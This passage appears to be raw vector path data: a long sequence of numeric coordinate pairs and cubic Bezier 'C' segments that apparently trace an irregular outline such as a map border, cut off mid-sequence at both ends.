24661.00 24487.00 24661.00C24498.23 24682.47 24508.99 24704.26 24520.51 24725.52C24531.01 24736.35 24541.50 24747.17 24552.00 24758.00C24573.33 24758.00 24594.67 24758.00 24616.00 24758.00C24626.71 24746.74 24637.92 24735.83 24648.33 24724.35C24658.88 24703.23 24669.44 24682.12 24680.00 24661.00C24658.67 24639.67 24637.33 24618.33 24616.00 24597.00C24659.00 24597.00 24702.00 24597.00 24745.00 24597.00C24755.67 24618.33 24766.33 24639.67 24777.00 24661.00C24819.67 24671.67 24862.33 24682.33 24905.00 24693.00C24926.76 24671.43 24948.83 24650.12 24970.40 24628.39C24991.60 24596.60 25012.80 24564.80 25034.00 24533.00C25044.67 24543.67 25055.33 24554.33 25066.00 24565.00C25087.67 24554.33 25109.33 24543.67 25131.00 24533.00C25141.67 24554.33 25152.33 24575.67 25163.00 24597.00C25205.87 24586.18 25248.88 24575.74 25291.65 24564.68C25313.10 24554.12 25334.55 24543.56 25356.00 24533.00C25366.67 24533.00 25377.33 24533.00 25388.00 24533.00C25398.67 24522.00 25409.33 24511.00 25420.00 24500.00C25441.33 24511.00 25462.67 24522.00 25484.00 24533.00C25494.67 24533.00 25505.33 24533.00 25516.00 24533.00C25516.00 24554.33 25516.00 24575.67 25516.00 24597.00C25548.33 24575.67 25580.67 24554.33 25613.00 24533.00C25623.67 24511.33 25634.33 24489.67 25645.00 24468.00C25677.00 24457.33 25709.00 24446.67 25741.00 24436.00C25762.67 24403.67 25784.33 24371.33 25806.00 24339.00C25827.33 24360.67 25848.67 24382.33 25870.00 24404.00C25891.33 24393.33 25912.67 24382.67 25934.00 24372.00C25945.00 24329.00 25956.00 24286.00 25967.00 24243.00C25988.33 24232.33 26009.67 24221.67 26031.00 24211.00C26052.33 24211.00 26073.67 24211.00 26095.00 24211.00C26095.00 24189.67 26095.00 24168.33 26095.00 24147.00C26105.67 24136.00 26116.33 24125.00 26127.00 24114.00C26170.00 24125.00 26213.00 24136.00 26256.00 24147.00C26266.86 24158.13 26278.32 24168.78 26288.81 24180.21C26309.87 24211.81 26330.94 24243.40 26352.00 24275.00C26362.67 24275.00 26373.33 24275.00 26384.00 24275.00C26395.00 24285.67 26406.00 24296.33 26417.00 24307.00C26438.33 24307.00 26459.67 24307.00 26481.00 24307.00C26481.00 24296.33 26481.00 24285.67 26481.00 24275.00C26502.33 24275.00 26523.67 24275.00 26545.00 24275.00C26545.00 24243.00 26545.00 24211.00 26545.00 24179.00C26588.00 24157.33 26631.00 24135.67 26674.00 24114.00C26674.00 24092.67 26674.00 24071.33 26674.00 24050.00C26727.67 24050.00 26781.33 24050.00 26835.00 24050.00C26835.00 24028.67 26835.00 24007.33 26835.00 23986.00C26845.67 23964.67 26856.33 23943.33 26867.00 23922.00C26888.33 23922.00 26909.67 23922.00 26931.00 23922.00C26941.90 23900.21 26952.29 23878.04 26963.51 23856.49C26974.30 23846.01 26984.61 23834.76 26995.69 23824.77C27028.05 23814.26 27060.31 23803.13 27092.73 23793.00C27103.15 23793.00 27113.58 23793.00 27124.00 23793.00C27134.71 23803.93 27145.93 23814.49 27156.33 23825.65C27166.88 23846.77 27177.44 23867.88 27188.00 23889.00C27209.67 23889.00 27231.33 23889.00 27253.00 23889.00C27263.67 23900.00 27274.33 23911.00 27285.00 23922.00C27285.00 23943.33 27285.00 23964.67 27285.00 23986.00C27296.13 23996.86 27306.78 24008.32 27318.21 24018.81C27349.81 24039.87 27381.40 24060.94 27413.00 24082.00C27413.00 24103.67 27413.00 24125.33 27413.00 24147.00C27499.01 24232.66 27585.24 24318.09 27671.00 24404.00C27692.60 24382.60 27713.92 24360.92 27735.00 24339.00C27735.00 24317.67 27735.00 24296.33 27735.00 24275.00C27767.00 24285.67 27799.00 24296.33 27831.00 24307.00C27852.67 24296.33 27874.33 24285.67 27896.00 24275.00C27906.67 24253.67 27917.33 24232.33 27928.00 24211.00C27949.33 24221.67 27970.67 24232.33 27992.00 24243.00C27981.33 24253.67 27970.67 24264.33 27960.00 24275.00C27970.67 24307.33 27981.33 24339.67 27992.00 24372.00C27981.33 24393.33 27970.67 24414.67 27960.00 24436.00C28024.33 24436.00 28088.67 24436.00 28153.00 24436.00C28174.33 24425.33 28195.67 24414.67 28217.00 24404.00C28217.00 24414.67 28217.00 24425.33 28217.00 24436.00C28260.00 24425.33 28303.00 24414.67 28346.00 24404.00C28367.33 24414.67 28388.67 24425.33 28410.00 24436.00C28410.00 24393.00 28410.00 24350.00 28410.00 24307.00C28420.67 24296.33 28431.33 24285.67 28442.00 24275.00C28442.00 24253.67 28442.00 24232.33 28442.00 24211.00C28463.67 24200.33 28485.33 24189.67 28507.00 24179.00C28517.67 24189.67 28528.33 24200.33 28539.00 24211.00C28560.33 24211.00 28581.67 24211.00 28603.00 24211.00C28624.33 24221.67 28645.67 24232.33 28667.00 24243.00C28688.67 24243.00 28710.33 24243.00 28732.00 24243.00C28742.67 24253.67 28753.33 24264.33 28764.00 24275.00C28774.67 24275.00 28785.33 24275.00 28796.00 24275.00C28806.67 24253.67 28817.33 24232.33 28828.00 24211.00C28774.33 24125.33 28720.67 24039.67 28667.00 23954.00C28634.53 23932.17 28602.33 23909.90 28569.70 23888.35C28548.67 23877.67 28527.29 23867.47 28506.48 23856.49C28495.65 23845.99 28484.83 23835.50 28474.00 23825.00C28474.00 23793.00 28474.00 23761.00 28474.00 23729.00C28495.67 23707.33 28517.33 23685.67 28539.00 23664.00C28571.00 23664.00 28603.00 23664.00 28635.00 23664.00C28645.67 23632.00 28656.33 23600.00 28667.00 23568.00C28656.33 23525.00 28645.67 23482.00 28635.00 23439.00C28624.29 23428.07 28613.07 23417.51 28602.67 23406.35C28592.12 23385.23 28581.56 23364.12 28571.00 23343.00C28571.00 23310.67 28571.00 23278.33 28571.00 23246.00C28592.33 23235.33 28613.67 23224.67 28635.00 23214.00C28656.67 23214.00 28678.33 23214.00 28700.00 23214.00C28700.22 23203.14 28699.56 23192.08 28700.33 23181.35C28710.88 23160.23 28721.44 23139.12 28732.00 23118.00C28710.33 23096.33 28688.67 23074.67 28667.00 23053.00C28656.17 23052.73 28645.02 23053.54 28634.39 23052.60C28602.60 23031.40 28570.80 23010.20 28539.00 22989.00C28517.33 22989.00 28495.67 22989.00 28474.00 22989.00C28474.00 22957.00 28474.00 22925.00 28474.00 22893.00C28463.33 22871.33 28452.67 22849.67 28442.00 22828.00C28452.96 22817.36 28463.44 22805.94 28474.69 22795.77C28506.79 22785.18 28538.90 22774.59 28571.00 22764.00C28560.33 22742.67 28549.67 22721.33 28539.00 22700.00C28485.33 22678.33 28431.67 22656.67 28378.00 22635.00C28356.67 22613.67 28335.33 22592.33 28314.00 22571.00C28346.00 22549.67 28378.00 22528.33 28410.00 22507.00C28399.10 22485.21 28388.71 22463.04 28377.49 22441.49C28361.26 22425.38 28345.58 22408.71 28327.90 22394.16C28248.27 22324.44 28168.63 22254.72 28089.00 22185.00C28077.81 22185.22 28066.41 22184.56 28055.35 22185.33C28034.23 22195.88 28013.12 22206.44 27992.00 22217.00C27981.33 22195.67 27970.67 22174.33 27960.00 22153.00C27938.67 22153.00 27917.33 22153.00 27896.00 22153.00C27896.00 22142.33 27896.00 22131.67 27896.00 22121.00C27874.33 22099.67 27852.67 22078.33 27831.00 22057.00C27788.33 22057.00 27745.67 22057.00 27703.00 22057.00C27681.67 22067.67 27660.33 22078.33 27639.00 22089.00C27617.33 22078.33 27595.67 22067.67 27574.00 22057.00C27509.67 22121.33 27445.33 22185.67 27381.00 22250.00C27349.00 22239.00 27317.00 22228.00 27285.00 22217.00C27285.00 22185.00 27285.00 22153.00 27285.00 22121.00C27274.33 22110.33 27263.67 22099.67 27253.00 22089.00C27231.33 22099.67 27209.67 22110.33 27188.00 22121.00C27134.67 22110.33 27081.33 22099.67 27028.00 22089.00C26984.75 22099.61 26941.56 22110.69 26898.27 22121.00C26823.51 22121.00 26748.76 22121.00 26674.00 22121.00C26641.67 22110.33 26609.33 22099.67 26577.00 22089.00C26545.00 22056.67 26513.00 22024.33 26481.00 21992.00C26459.67 21992.00 26438.33 21992.00 26417.00 21992.00C26406.00 22013.67 26395.00 22035.33 26384.00 22057.00C26351.78 22057.15 26319.46 22056.69 26287.31 22057.23C26255.13 22068.10 26222.75 22078.47 26190.69 22089.64C26169.46 22100.10 26148.23 22110.55 26127.00 22121.00C26105.67 22110.33 26084.33 22099.67 26063.00 22089.00C26052.33 22099.67 26041.67 22110.33 26031.00 22121.00C26020.33 22099.67 26009.67 22078.33 25999.00 22057.00C25999.00 22003.33 25999.00 21949.67 25999.00 21896.00C25966.41 21906.59 25933.92 21917.79 25901.27 21928.00C25858.85 21928.00 25816.42 21928.00 25774.00 21928.00C25730.76 21960.40 25687.70 21993.11 25644.35 22025.33C25623.23 22035.88 25602.12 22046.44 25581.00 22057.00C25570.00 22089.00 25559.00 22121.00 25548.00 22153.00C25537.33 22163.67 25526.67 22174.33 25516.00 22185.00C25484.00 22174.33 25452.00 22163.67 25420.00 22153.00C25398.67 22131.67 25377.33 22110.33 25356.00 22089.00C25356.00 21060.00 25356.00 20031.00 25356.00 19002.00C25388.00 19002.00 25420.00 19002.00 25452.00 19002.00C25441.33 19012.67 25430.67 19023.33 25420.00 19034.00C25430.67 19044.67 25441.33 19055.33 25452.00 19066.00C25495.00 19055.33 25538.00 19044.67 25581.00 19034.00C25602.33 19044.67 25623.67 19055.33 25645.00 19066.00C25645.22 19055.14 25644.56 19044.08 25645.33 19033.35C25655.88 19012.23 25666.44 18991.12 25677.00 18970.00C25687.67 18970.00 25698.33 18970.00 25709.00 18970.00C25752.00 18938.00 25795.00 18906.00 25838.00 18874.00C25881.00 18874.00 25924.00 18874.00 25967.00 18874.00C25977.67 18863.00 25988.33 18852.00 25999.00 18841.00C26009.67 18852.00 26020.33 18863.00 26031.00 18874.00C26063.00 18874.00 26095.00 18874.00 26127.00 18874.00C26127.00 18884.67 26127.00 18895.33 26127.00 18906.00C26170.00 18906.00 26213.00 18906.00 26256.00 18906.00C26266.67 18895.33 26277.33 18884.67 26288.00 18874.00C26309.33 18884.67 26330.67 18895.33 26352.00 18906.00C26362.67 18884.33 26373.33 18862.67 26384.00 18841.00C26395.00 18841.00 26406.00 18841.00 26417.00 18841.00C26449.25 18819.62 26481.31 18797.88 26513.68 18776.73C26567.12 18755.49 26620.56 18734.24 26674.00 18713.00C26695.33 18691.33 26716.67 18669.67 26738.00 18648.00C26834.67 18691.00 26931.33 18734.00 27028.00 18777.00C27038.67 18766.33 27049.33 18755.67 27060.00 18745.00C27060.00 18755.67 27060.00 18766.33 27060.00 18777.00C27070.67 18787.67 27081.33 18798.33 27092.00 18809.00C27102.67 18787.67 27113.33 18766.33 27124.00 18745.00C27145.33 18766.33 27166.67 18787.67 27188.00 18809.00C27198.67 18798.33 27209.33 18787.67 27220.00 18777.00C27263.00 18787.67 27306.00 18798.33 27349.00 18809.00C27402.67 18841.33 27456.33 18873.67 27510.00 18906.00C27510.00 18927.33 27510.00 18948.67 27510.00 18970.00C27520.67 18959.33 27531.33 18948.67 27542.00 18938.00C29482.00 18938.00 31422.00 18938.00 33362.00 18938.00C33362.00 18916.67 33362.00 18895.33 33362.00 18874.00C33351.33 18863.00 33340.67 18852.00 33330.00 18841.00C33297.67 18841.00 33265.33 18841.00 33233.00 18841.00C33254.33 18809.00 33275.67 18777.00 33297.00 18745.00C33265.00 18723.67 33233.00 18702.33 33201.00 18681.00C33179.67 18681.00 33158.33 18681.00 33137.00 18681.00C33126.07 18691.71 33115.51 18702.94 33104.35 18713.32C33082.90 18723.88 33061.45 18734.44 33040.00 18745.00C33018.67 18745.00 32997.33 18745.00 32976.00 18745.00C32965.33 18702.00 32954.67 18659.00 32944.00 18616.00C32954.67 18562.33 32965.33 18508.67 32976.00 18455.00C32933.00 18455.00 32890.00 18455.00 32847.00 18455.00C32847.00 18401.67 32847.00 18348.33 32847.00 18295.00C32868.67 18273.33 32890.33 18251.67 32912.00 18230.00C32922.67 18144.33 32933.33 18058.67 32944.00 17973.00C32997.67 17919.33 33051.33 17865.67 33105.00 17812.00C33126.33 17812.00 33147.67 17812.00 33169.00 17812.00C33190.33 17780.00 33211.67 17748.00 33233.00 17716.00C33254.33 17705.33 33275.67 17694.67 33297.00 17684.00C33318.67 17705.33 33340.33 17726.67 33362.00 17748.00C33383.33 17737.33 33404.67 17726.67 33426.00 17716.00C33436.67 17716.00 33447.33 17716.00 33458.00 17716.00C33479.67 17737.33 33501.33 17758.67 33523.00 17780.00C33533.67 17823.00 33544.33 17866.00 33555.00 17909.00C33576.33 17919.67 33597.67 17930.33 33619.00 17941.00C33629.67 17984.00 33640.33 18027.00 33651.00 18070.00C33661.67 18080.67 33672.33 18091.33 33683.00 18102.00C33693.86 18102.22 33704.92 18101.57 33715.65 18102.32C33737.10 18112.88 33758.55 18123.44 33780.00 18134.00C33812.00 18123.33 33844.00 18112.67 33876.00 18102.00C33928.72 18154.15 33981.57 18206.18 34033.50 18259.13C34098.50 18324.91 34164.53 18389.68 34230.00 18455.00C34283.67 18455.00 34337.33 18455.00 34391.00 18455.00C34401.71 18444.07 34412.93 18433.51 34423.33 18422.35C34433.88 18401.23 34444.44 18380.12 34455.00 18359.00C34476.33 18348.33 34497.67 18337.67 34519.00 18327.00C34529.67 18305.67 34540.33 18284.33 34551.00 18263.00C34540.33 18220.00 34529.67 18177.00 34519.00 18134.00C34562.00 18123.33 34605.00 18112.67 34648.00 18102.00C34690.67 18069.67 34733.33 18037.33 34776.00 18005.00C34808.53 17962.18 34840.86 17919.19 34873.51 17876.49C34905.62 17844.60 34937.23 17812.22 34969.00 17780.00C35022.67 17673.00 35076.33 17566.00 35130.00 17459.00C35151.67 17448.33 35173.33 17437.67 35195.00 17427.00C35227.00 17427.00 35259.00 17427.00 35291.00 17427.00C35366.00 17459.00 35441.00 17491.00 35516.00 17523.00C35644.67 17523.00 35773.33 17523.00 35902.00 17523.00C35923.33 17501.67 35944.67 17480.33 35966.00 17459.00C35998.33 17373.33 36030.67 17287.67 36063.00 17202.00C36105.67 17169.67 36148.33 17137.33 36191.00 17105.00C36201.67 17051.33 36212.33 16997.67 36223.00 16944.00C36244.87 16911.85 36266.47 16879.49 36288.51 16847.48C36309.67 16825.99 36330.84 16804.49 36352.00 16783.00C36470.00 16729.67 36588.00 16676.33 36706.00 16623.00C36737.95 16558.64 36769.78 16494.22 36802.00 16430.00C36866.33 16430.00 36930.67 16430.00 36995.00 16430.00C37027.47 16451.54 37060.20 16472.78 37092.51 16494.52C37135.01 16537.35 37177.50 16580.17 37220.00 16623.00C37230.67 16794.33 37241.33 16965.67 37252.00 17137.00C37262.59 17169.59 37273.79 17202.08 37284.00 17234.73C37284.00 17320.15 37284.00 17405.58 37284.00 17491.00C37327.18 17652.12 37370.14 17813.31 37413.46 17974.38C37434.78 18038.46 37455.84 18102.64 37477.33 18166.65C37487.88 18187.77 37498.44 18208.88 37509.00 18230.00C37562.67 18262.33 37616.33 18294.67 37670.00 18327.00C37691.67 18316.33 37713.33 18305.67 37735.00 18295.00C37820.89 18305.79 37906.86 18316.21 37992.69 18327.23C38024.46 18337.82 38056.23 18348.41 38088.00 18359.00C38120.40 18402.24 38153.11 18445.30 38185.33 18488.65C38206.56 18531.36 38228.19 18573.91 38249.18 18616.71C38259.94 18659.67 38270.31 18702.78 38281.33 18745.65C38313.55 18809.77 38345.78 18873.88 38378.00 18938.00C38367.00 18980.67 38356.00 19023.33 38345.00 19066.00C38356.37 19109.90 38367.22 19153.96 38378.92 19197.77C38400.11 19261.12 38421.12 19324.54 38442.00 19388.00C38452.64 19613.49 38463.47 19838.97 38474.00 20064.46C38474.10 20107.21 38473.81 20149.99 38474.14 20192.72C38484.76 20246.14 38495.38 20299.57 38506.00 20353.00C38484.67 20417.00 38463.33 20481.00 38442.00 20545.00C38431.37 20674.15 38420.43 20803.29 38410.00 20932.46C38410.00 21081.97 38410.00 21231.49 38410.00 21381.00C38420.67 21424.00 38431.33 21467.00 38442.00 21510.00C38431.33 21574.33 38420.67 21638.67 38410.00 21703.00C38774.33 21595.67 39138.67 21488.33 39503.00 21381.00C39910.89 21756.80 40318.70 22132.70 40726.64 22508.45C41176.09 22904.63 41625.55 23300.81 42075.00 23697.00C42236.00 23654.00 42397.00 23611.00 42558.00 23568.00C42600.67 23578.67 42643.33 23589.33 42686.00 23600.00C42718.33 23632.33 42750.67 23664.67 42783.00 23697.00C42793.67 23718.33 42804.33 23739.67 42815.00 23761.00C42826.84 23760.58 42838.85 23761.87 42850.57 23760.29C42903.05 23749.86 42955.53 23739.43 43008.00 23729.00C43018.67 23707.33 43029.33 23685.67 43040.00 23664.00C43050.86 23664.22 43061.93 23663.55 43072.65 23664.33C43093.76 23675.22 43114.88 23686.11 43136.00 23697.00C43157.67 23675.33 43179.33 23653.67 43201.00 23632.00C43201.30 23620.90 43200.39 23609.60 43201.46 23598.62C43211.90 23566.82 43222.95 23535.13 43233.00 23503.27C43233.00 23492.51 43233.00 23481.76 43233.00 23471.00C43254.55 23470.85 43276.20 23471.31 43297.69 23470.77C43329.79 23460.18 43361.90 23449.59 43394.00 23439.00C43426.25 23449.59 43458.41 23460.79 43490.73 23471.00C43511.82 23471.00 43532.91 23471.00 43554.00 23471.00C43575.67 23460.33 43597.33 23449.67 43619.00 23439.00C43661.67 23439.00 43704.33 23439.00 43747.00 23439.00C43747.00 23417.67 43747.00 23396.33 43747.00 23375.00C43768.67 23353.67 43790.33 23332.33 43812.00 23311.00C43812.00 23278.67 43812.00 23246.33 43812.00 23214.00C43833.33 23203.33 43854.67 23192.67 43876.00 23182.00C43876.00 23150.00 43876.00 23118.00 43876.00 23086.00C43886.67 23075.00 43897.33 23064.00 43908.00 23053.00C43940.00 23053.00 43972.00 23053.00 44004.00 23053.00C44015.00 23064.00 44026.00 23075.00 44037.00 23086.00C44047.67 23064.33 44058.33 23042.67 44069.00 23021.00C44090.33 23010.33 44111.67 22999.67 44133.00 22989.00C44143.67 22957.00 44154.33 22925.00 44165.00 22893.00C44154.33 22871.33 44143.67 22849.67 44133.00 22828.00C44165.33 22839.00 44197.67 22850.00 44230.00 22861.00C44273.04 22839.02 44316.31 22817.42 44359.22 22795.20C44391.14 22774.13 44423.07 22753.07 44455.00 22732.00C44465.67 22742.67 44476.33 22753.33 44487.00 22764.00C44508.46 22753.10 44530.28 22742.70 44551.51 22731.49C44572.68 22710.32 44593.84 22689.16 44615.00 22668.00C44626.00 22678.67 44637.00 22689.33 44648.00 22700.00C44658.71 22689.07 44669.94 22678.51 44680.32 22667.35C44690.88 22645.90 44701.44 22624.45 44712.00 22603.00C44722.67 22603.00 44733.33 22603.00 44744.00 22603.00C44765.33 22571.00 44786.67 22539.00 44808.00 22507.00C44861.67 22507.00 44915.33 22507.00 44969.00 22507.00C44979.67 22496.33 44990.33 22485.67 45001.00 22475.00C45033.21 22507.13 45065.12 22539.56 45098.00 22571.00C45108.67 22549.67 45119.33 22528.33 45130.00 22507.00C45162.00 22485.33 45194.00 22463.67 45226.00 22442.00C45269.00 22485.00 45312.00 22528.00 45355.00 22571.00C45344.33 22539.00 45333.67 22507.00 45323.00 22475.00C45344.33 22475.00 45365.67 22475.00 45387.00 22475.00C45397.67 22464.00 45408.33 22453.00 45419.00 22442.00C45419.00 22453.00 45419.00 22464.00 45419.00 22475.00C45451.33 22485.67 45483.67 22496.33 45516.00 22507.00C45526.67 22496.33 45537.33 22485.67 45548.00 22475.00C45558.67 22507.00 45569.33 22539.00 45580.00 22571.00C45590.67 22560.33 45601.33 22549.67 45612.00 22539.00C45633.33 22539.00 45654.67 22539.00 45676.00 22539.00C45665.33 22549.67 45654.67 22560.33 45644.00 22571.00C45654.67 22592.33 45665.33 22613.67 45676.00 22635.00C45697.67 22635.00 45719.33 22635.00 45741.00 22635.00C45751.90 22656.79 45762.29 22678.96 45773.51 22700.51C45784.01 22711.01 45794.50 22721.51 45805.00 22732.00C45794.33 22742.67 45783.67 22753.33 45773.00 22764.00C45794.33 22785.33 45815.67 22806.67 45837.00 22828.00C45837.00 22839.00 45837.00 22850.00 45837.00 22861.00C45858.33 22882.33 45879.67 22903.67 45901.00 22925.00C45890.41 22957.26 45879.21 22989.41 45869.00 23021.73C45869.00 23032.15 45869.00 23042.58 45869.00 23053.00C45901.33 23053.00 45933.67 23053.00 45966.00 23053.00C45966.00 23064.00 45966.00 23075.00 45966.00 23086.00C45944.33 23107.33 45922.67 23128.67 45901.00 23150.00C45912.00 23192.67 45923.00 23235.33 45934.00 23278.00C45923.00 23278.00 45912.00 23278.00 45901.00 23278.00C45890.33 23289.00 45879.67 23300.00 45869.00 23311.00C45858.33 23300.00 45847.67 23289.00 45837.00 23278.00C45826.33 23289.00 45815.67 23300.00 45805.00 23311.00C45815.67 23332.33 45826.33 23353.67 45837.00 23375.00C45826.33 23407.00 45815.67 23439.00 45805.00 23471.00C45783.67 23471.00 45762.33 23471.00 45741.00 23471.00C45740.69 23482.44 45741.62 23494.07 45740.54 23505.38C45730.03 23536.92 45719.51 23568.46 45709.00 23600.00C45698.00 23600.00 45687.00 23600.00 45676.00 23600.00C45644.00 23621.33 45612.00 23642.67 45580.00 23664.00C45580.00 23696.33 45580.00 23728.67 45580.00 23761.00C45558.67 23793.00 45537.33 23825.00 45516.00 23857.00C45537.60 23878.40 45558.92 23900.08 45580.00 23922.00C45601.33 23975.33 45622.67 24028.67 45644.00 24082.00C45654.67 24092.67 45665.33 24103.33 45676.00 24114.00C45676.00 24135.67 45676.00 24157.33 45676.00 24179.00C45687.00 24179.00 45698.00 24179.00 45709.00 24179.00C45719.67 24189.67 45730.33 24200.33 45741.00 24211.00C45762.33 24178.67 45783.67 24146.33 45805.00 24114.00C45848.00 24114.00 45891.00 24114.00 45934.00 24114.00C45944.67 24103.33 45955.33 24092.67 45966.00 24082.00C45976.67 24082.00 45987.33 24082.00 45998.00 24082.00C46008.67 24071.33 46019.33 24060.67 46030.00 24050.00C46073.00 24050.00 46116.00 24050.00 46159.00 24050.00C46180.33 24039.33 46201.67 24028.67 46223.00 24018.00C46223.00 24007.33 46223.00 23996.67 46223.00 23986.00C46244.33 23964.67 46265.67 23943.33 46287.00 23922.00C46298.00 23889.67 46309.00 23857.33 46320.00 23825.00C46330.67 23814.33 46341.33 23803.67 46352.00 23793.00C46352.00 23761.00 46352.00 23729.00 46352.00 23697.00C46373.33 23707.67 46394.67 23718.33 46416.00 23729.00C46426.67 23718.33 46437.33 23707.67 46448.00 23697.00C46437.33 23675.33 46426.67 23653.67 46416.00 23632.00C46426.67 23621.33 46437.33 23610.67 46448.00 23600.00C46437.33 23589.33 46426.67 23578.67 46416.00 23568.00C46415.78 23557.14 46416.43 23546.08 46415.68 23535.35C46394.45 23492.56 46373.22 23449.78 46352.00 23407.00C46373.33 23396.33 46394.67 23385.67 46416.00 23375.00C46426.67 23342.67 46437.33 23310.33 46448.00 23278.00C46458.67 23267.33 46469.33 23256.67 46480.00 23246.00C46490.67 23246.00 46501.33 23246.00 46512.00 23246.00C46523.00 23224.67 46534.00 23203.33 46545.00 23182.00C46577.00 23160.67 46609.00 23139.33 46641.00 23118.00C46630.33 23107.33 46619.67 23096.67 46609.00 23086.00C46630.33 23064.33 46651.67 23042.67 46673.00 23021.00C46694.33 22956.67 46715.67 22892.33 46737.00 22828.00C46748.00 22839.00 46759.00 22850.00 46770.00 22861.00C46802.00 22839.33 46834.00 22817.67 46866.00 22796.00C46919.67 22796.00 46973.33 22796.00 47027.00 22796.00C47037.67 22806.67 47048.33 22817.33 47059.00 22828.00C47048.33 22839.00 47037.67 22850.00 47027.00 22861.00C47037.67 22871.67 47048.33 22882.33 47059.00 22893.00C47069.67 22882.33 47080.33 22871.67 47091.00 22861.00C47112.67 22871.67 47134.33 22882.33 47156.00 22893.00C47188.25 22882.41 47220.41 22871.21 47252.73 22861.00C47273.82 22861.00 47294.91 22861.00 47316.00 22861.00C47326.67 22882.33 47337.33 22903.67 47348.00 22925.00C47337.33 22935.67 47326.67 22946.33 47316.00 22957.00C47337.67 22957.00 47359.33 22957.00 47381.00 22957.00C47402.38 22935.40 47424.27 22914.17 47445.32 22892.35C47466.54 22849.31 47488.23 22806.43 47509.14 22763.28C47519.76 22709.86 47530.38 22656.43 47541.00 22603.00C47551.65 22592.04 47563.05 22581.56 47573.24 22570.31C47584.16 22538.54 47595.08 22506.77 47606.00 22475.00C47573.67 22464.00 47541.33 22453.00 47509.00 22442.00C47509.00 22420.67 47509.00 22399.33 47509.00 22378.00C47519.67 22367.33 47530.33 22356.67 47541.00 22346.00C47551.61 22302.75 47562.68 22259.56 47573.00 22216.27C47573.00 22173.85 47573.00 22131.42 47573.00 22089.00C47584.00 22056.67 47595.00 22024.33 47606.00 21992.00C47595.00 21960.00 47584.00 21928.00 47573.00 21896.00C47594.88 21895.85 47616.87 21896.31 47638.69 21895.77C47670.46 21885.18 47702.23 21874.59 47734.00 21864.00C47734.00 21842.33 47734.00 21820.67 47734.00 21799.00C47766.33 21777.67 47798.67 21756.33 47831.00 21735.00C47852.33 21756.33 47873.67 21777.67 47895.00 21799.00C47905.67 21799.00 47916.33 21799.00 47927.00 21799.00C47937.67 21788.33 47948.33 21777.67 47959.00 21767.00C47980.67 21788.67 48002.33 21810.33 48024.00 21832.00C48013.33 21864.00 48002.67 21896.00 47992.00 21928.00C48002.67 21938.67 48013.33 21949.33 48024.00 21960.00C48045.33 21949.33 48066.67 21938.67 48088.00 21928.00C48131.00 21938.67 48174.00 21949.33 48217.00 21960.00C48217.00 21938.67 48217.00 21917.33 48217.00 21896.00C48238.33 21885.33 48259.67 21874.67 48281.00 21864.00C48302.54 21831.53 48323.78 21798.80 48345.52 21766.49C48377.77 21734.42 48410.34 21702.62 48442.40 21670.39C48463.60 21638.26 48484.80 21606.13 48506.00 21574.00C48495.36 21563.04 48483.94 21552.56 48473.77 21541.31C48463.18 21509.54 48452.59 21477.77 48442.00 21446.00C48463.33 21424.33 48484.67 21402.67 48506.00 21381.00C48516.67 21381.00 48527.33 21381.00 48538.00 21381.00C48548.67 21392.00 48559.33 21403.00 48570.00 21414.00C48570.00 21424.67 48570.00 21435.33 48570.00 21446.00C48580.67 21456.67 48591.33 21467.33 48602.00 21478.00C48623.67 21467.33 48645.33 21456.67 48667.00 21446.00C48677.90 21424.21 48688.29 21402.04 48699.51 21380.49C48720.68 21359.32 48741.84 21338.16 48763.00 21317.00C48752.33 21306.33 48741.67 21295.67 48731.00 21285.00C48763.00 21285.00 48795.00 21285.00 48827.00 21285.00C48827.00 21317.00 48827.00 21349.00 48827.00 21381.00C48859.33 21381.00 48891.67 21381.00 48924.00 21381.00C48924.00 21359.67 48924.00 21338.33 48924.00 21317.00C48945.33 21285.00 48966.67 21253.00 48988.00 21221.00C48977.33 21210.33 48966.67 21199.67 48956.00 21189.00C49020.33 21146.00 49084.67 21103.00 49149.00 21060.00C49170.33 21027.67 49191.67 20995.33 49213.00 20963.00C49223.72 20974.26 49234.91 20985.18 49245.33 20996.65C49266.89 21039.10 49288.44 21081.55 49310.00 21124.00C49299.33 21134.67 49288.67 21145.33 49278.00 21156.00C49278.00 21167.00 49278.00 21178.00 49278.00 21189.00C49299.57 21210.77 49321.56 21232.17 49342.88 21254.17C49374.78 21296.59 49406.48 21339.20 49438.51 21381.51C49449.34 21392.34 49460.17 21403.17 49471.00 21414.00C49481.86 21413.78 49492.93 21414.44 49503.65 21413.67C49546.10 21392.11 49588.55 21370.56 49631.00 21349.00C49631.00 21327.67 49631.00 21306.33 49631.00 21285.00C49641.67 21285.00 49652.33 21285.00 49663.00 21285.00C49674.00 21253.00 49685.00 21221.00 49696.00 21189.00C49696.00 21167.33 49696.00 21145.67 49696.00 21124.00C49706.67 21113.33 49717.33 21102.67 49728.00 21092.00C49749.33 21102.67 49770.67 21113.33 49792.00 21124.00C49802.86 21123.78 49813.92 21124.43 49824.65 21123.68C49846.10 21113.12 49867.55 21102.56 49889.00 21092.00C49899.67 21092.00 49910.33 21092.00 49921.00 21092.00C49942.43 21070.43 49964.16 21049.11 49985.40 21027.39C50006.60 20995.26 50027.80 20963.13 50049.00 20931.00C50059.67 20931.00 50070.33 20931.00 50081.00 20931.00C50102.67 20909.67 50124.33 20888.33 50146.00 20867.00C50178.00 20867.00 50210.00 20867.00 50242.00 20867.00C50263.67 20835.00 50285.33 20803.00 50307.00 20771.00C50296.00 20771.00 50285.00 20771.00 50274.00 20771.00C50285.00 20749.33 50296.00 20727.67 50307.00 20706.00C50296.00 20695.33 50285.00 20684.67 50274.00 20674.00C50295.67 20663.33 50317.33 20652.67 50339.00 20642.00C50371.00 20588.33 50403.00 20534.67 50435.00 20481.00C50467.33 20459.67 50499.67 20438.33 50532.00 20417.00C50532.00 20395.67 50532.00 20374.33 50532.00 20353.00C50542.67 20363.67 50553.33 20374.33 50564.00 20385.00C50596.00 20374.33 50628.00 20363.67 50660.00 20353.00C50703.23 20309.90 50746.22 20266.51 50789.61 20223.60C50821.40 20202.40 50853.20 20181.20 50885.00 20160.00C50895.67 20170.67 50906.33 20181.33 50917.00 20192.00C50928.00 20192.00 50939.00 20192.00 50950.00 20192.00C50982.00 20170.33 51014.00 20148.67 51046.00 20127.00C51046.00 20116.33 51046.00 20105.67 51046.00 20095.00C51067.33 20073.67 51088.67 20052.33 51110.00 20031.00C51110.00 20020.33 51110.00 20009.67 51110.00 19999.00C51131.67 19977.67 51153.33 19956.33 51175.00 19935.00C51196.33 19945.67 51217.67 19956.33 51239.00 19967.00C51282.00 19967.00 51325.00 19967.00 51368.00 19967.00C51378.67 19999.00 51389.33 20031.00 51400.00 20063.00C51378.13 20095.47 51356.54 20128.19 51334.49 20160.51C51302.66 20192.34 51270.83 